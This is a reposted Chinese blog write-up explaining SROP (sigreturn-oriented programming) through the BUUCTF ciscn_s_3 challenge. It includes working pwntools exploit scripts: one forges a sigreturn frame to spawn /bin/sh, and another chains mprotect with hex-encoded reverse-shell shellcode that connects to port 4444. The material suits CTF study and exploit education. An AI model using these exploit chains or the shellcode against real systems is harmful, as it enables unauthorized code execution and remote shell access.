栈溢出SROP攻击 栈溢出会怎么样
qiyuwang 2024-10-05 23:23 9 浏览 0 评论
原创:treebacker合天智汇
原创投稿活动:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
高级ROP-SROP利用
在刷题时碰到这个考察点,有点震撼,特意记录下。
SROP简介
- SROP也即Sigreturn Oriented Programming。很显然这种攻击方式与Unix系统调用Sigreturn相关。它在发生signal的时候会被间接调用。
- Signal在unix下的机制(窃图),发生signal时,会在user和kernel直接切换。系统会为当前进程保存上下文。完成后会从核心态退出时,会执行sigreturn恢复上下文。
?
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn:
?
- 上面这段内存又称为"Signal Frame"。
SROP Attack原理
- 问题出现在,内核保存的上下文是在用户态控制的栈上(可以伪造的),而切换为用户态时,并没有检查这段内存是否发生改变。也就造成了可利用的可能。
- 攻击示意图
?
- 上面的攻击中,需要满足以下几个条件1、 存在栈溢出2、可以泄露栈地址,(即可以知道参数的地址)3、需要syscall的地址4、需要sigreturn的地址 (强制按照frame内存恢复进程状态)相比较传统的ROP攻击,需要的gadgets更少,构造更方便。
- 连续攻击
?
- 只需要设置栈指针rsp的值为下一个攻击地址,同时rip的地址设置为&(syscall; ret;)即可。
实例
- BUUCTFciscn_s_3题目
- 漏洞分析
?
- 这里有两个系统调用,需要在gdb调试,发现就是read和write操作。且存在栈溢出
- 一般ROP
- 泄露libc地址,利用gadgets执行execve或者system或者one_gadget。
- 实际操作发现,rdx的值我们无法控制。execve和system都是行不通的。但是发现一个有趣的gadget
?
- 这里,实际提供了一个mov eax, 0; ret;的gadget。为one_gadget和read的syscall都可以提供基础。当然,也可以利用eax是作为函数的返回值的这一个特性,利用read特定的字节得到需要的eax。(注意这里的read也可以是syscall实现的,且上面的mov eax, 0 的gadget可以为我们syscall read提供条件)
- 可以one_gadget达到get shell的目的。
- SROP和攻击。
- 看到这个题目很少人做出来,猜到应该不是这么简单的操作。而且程序中明确指出的gadget很奇怪
- 15的系统号是rt_sigreturn,3b的系统调用是execve。(我都没用到。。。)
- 搜索一番,看到一个师傅的骚操作。
- 就是我们上面提到的SROP攻击思路,泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的。
- 学习一波,记录这种方式的exp(pwntools提供了Sigreturn Frame的构建)
payload = "/bin/sh\x00"payload += '\x00' * 8payload += p64(main)p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stackp.recv(32)stack_addr = u64(p.recv(8)) - 0x118 #rsiprint "stack_addr ==> " + hex(stack_addr)p.recv(8)#SROP Attackframe = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = stack_addr #&'/bin/sh'frame.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscallpayload = 'a'*0x10payload += p64(rt_sigreturn) #强制sigreturn,改变framepayload += p64(syscall)payload += str(frame)p.send(payload)p.interactive()p.close()
- 拓展利用-连续攻击生成backdoor。(return shell with reverse tcp 0.0.0.0 4444)
- 这里用到mprotect(start, len, prot)修改栈为RWX属性。
- 直接设置fake frame的rsp为shellcode的地址。
main = 0x4004F1syscall = 0x400517 #syscall; ret rt_sigreturn = 0x4004DA #mov eax, 0xf; ret payload = '\x00' * 0x10payload += p64(main) p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stack p.recv(32) stack_addr = u64(p.recv(8)) - 0x118 #rsi print "stack_addr ==> " + hex(stack_addr) p.recv(8) frame1 = SigreturnFrame()frame1.rax = constants.SYS_mprotect frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000frame1.rsi = 0x1000 frame1.rdx = 7 frame1.rsp = stack_addr + 0x120 #frame2_sigreturnframe1.rip = syscall shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" \"\x5e\x48\x31\xd2\x0f\x05\x48\x97" \ "\x6a\x02\x66\xc7\x44\x24\x02\x11" \"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" \ "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" \"\x58\x48\xff\xce\x0f\x05\xe0\xf6" \ "\x48\x31\xf6\x56\x48\xbf\x2f\x62" \"\x69\x6e\x2f\x2f\x73\x68\x57\x54" \ "\x5f\xb0\x3b\x99\x0f\x05" payload = '\x00'*0x10 #rop_chain stack_addr+8 payload += p64(rt_sigreturn) payload += p64(syscall) #sigreturn payload += str(frame1) payload += p64(stack_addr + 0x128)payload += shellcode
在4444监听之后,运行exp就可以看到得到了返回的shell。
?
- 几个注意点1、一个frame框架是0xf8大小(0x64)。2、泄露的栈地址,返回再次利用时,偏移可能有些变动,建议调试确定。3、对于连续利用的所有指针参数,利用pop_ret的方式将参数保存在栈上,从而可以确参数定地址。
SROP与ROP的比较
- 利用难度。众所周知,ROP的攻击方式比较普遍,安全防护相应的也比较多。在真实的系统中,相应的gadgets比较难以获取。反观SROP,需要的gadgets少,主要在于伪造一个Frame。
- 代码复用性。由于ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用(有时候即使返回init状态,也难以再次恢复stack状态)。而SROP则不然,每次只需要伪造对应的Frame,rt_sigreturn的调用都能够强制切换到我们需要的状态。有着极高的代码复用性。
SROP攻击的更多资料
- paper
- slides
- Sigreturn Oriented Programming (SROP) Attack攻击原理
多说一句这种攻击方式,真心觉得强大
推荐实验:ARM漏洞利用技术四--内存布局及栈溢出
http://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
相关推荐
- 别再乱找了!这才是 Alist 本地安装挂载的正确打开方式
-
一、探秘Alist的神奇世界在这个数据爆炸的时代,我们的生活里充斥着各种各样的网盘服务,百度网盘、阿里云盘、腾讯微云等等,它们成了我们存储资料的得力助手。但随着网盘数量的增多,管理这些分散在不同平...
- 如何将数据从旧iPhone传输到新iPhone 16?这五个方法你必须知道!
-
前不久,苹果发布了备受期待的iPhone16系列,新机型搭载了更强大的芯片、更流畅的操作体验,还有备受热议的全新摄像系统。无论你是冲着A18仿生芯片,还是更丰富的动态岛功能,相信很多果粉早已跃跃欲试...
- 大数据传输的定义与大数据传输解决方案的选择
-
当我们需要处理大量的数据时,我们就要把数据从一个地方移动到另一个地方。这个过程就叫做大数据传输。它通常需要用到高速的网络连接、分散的存储系统和数据传输协议,以保证数据的快速、可靠和安全的移动。常用的大...
- 【工具】在线传输文件工具(在线文件互传)
-
前言在线传输文件工具主要是用于在不同的设备之间,如手机、电脑、平板等快速便捷地传送文件。告别使用USB传统传输文件的方式。...
- 如何使用 CAN-FD 在 LPC5500 上传输数据
-
目录1引言2CAN-FD3示例演示1引言...
- 轻松同步:将照片从三星手机传输到iPad的简便方法
-
概括想要在新iPad上查看三星照片吗?但是,如果您不知道如何将照片从三星手机传输到iPad,则无法在iPad上查看图片。为此,本文分享了7个有用的方法,以便您可以使用它们在不同操作系统之...
- 常见又地道的网络缩写:美剧中常说的SFW到底是个啥?
-
在这堂课中,让我们来学习更多在数字网络世界中常用的有趣网络用语。7shifts/unsplashhttp,https“http”和“https”是万维网(www)传输文件用的协议。“http”是hy...
- 每天学会一个计算机网络协议之FTP
-
开始行文之前提出一个问题,相信大家在看完本文后一定可以回答当我们在网站上填写注册信息的时候,需要我们上传照片,上传的过程发生了什么?下面引入我们的主角,FTP文件传输协议FTPFileTransf...
- 即用即走,这3款文件分享工具真香
-
打工人的日常,免不了「文件分享存储服务」的需求。我们一般会选择不同的网盘,但是大家也知道,网盘不是限速就是叫你充值。今天跟大家简单推荐3款文件分享工具,既可以免登录匿名使用,而且操作简单稳定性也不错。...
- 安卓手机里的文件和照片与Mac互传的办法
-
因为HandShake一段时间未更新,似乎目前不可操作。我一时间未找到更好的「传输」办法,经实践操作,向大家介绍一下「安卓手机」,包括「一加」、「索尼」,都可用此方法,来进行文件传输到Mac的...
- 软网推荐:同一个平台选择不同的传输方法
-
平时上网的时候,我们经常要分享一些文件给其他朋友,一般通过云服务平台来实现。今天笔者给大家介绍的Worksphere传输服务,它提供了两种不同的分享方式,方便我们根据实际需要进行选择。一个链接分享所有...
- 跨平台不限速的免费文件传输网站(跨平台不限速的免费文件传输网站是什么)
-
大家好,欢迎来到天天惠分享,不知道各位平时都是用什么方法来进行文件跨平台传输的呢?是百度网盘?微信还是QQ?亦或是有线传输。虽然这些方法都可以达到传输的目的,但都有各自的缺陷,使用起来一言难尽。比如百...
- 全网最全最详细的全平台文件传输方法,解决你文件传输问题(一)
-
前言想必现在大多数人文件传输的方法还是使用qq微信,但是qq微信的文件传输有时候真是,...
- 文件传输工具有哪些?这3款堪称办公必备!
-
在不同设备间,想把文件从一台设备传输到另一台,尤其是大体积文件,更是免不了用到文件传输工具,可以说文件传输工具已成为提升效率的关键载体。面对海量文档、设计素材、会议纪要的流转需求,传统邮件附件、U盘拷...
- 小白也能用的跨网文件交换系统!10款简单易上手的文件摆渡工具
-
跨网文件交换系统对于需要频繁在不同网络环境中进行文件共享的用户来说至关重要。以下是10款简单易上手的文件摆渡工具,适合小白用户使用,帮助他们高效地分享和传输文件。10款简单易上手的跨网文件交换工具1....
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)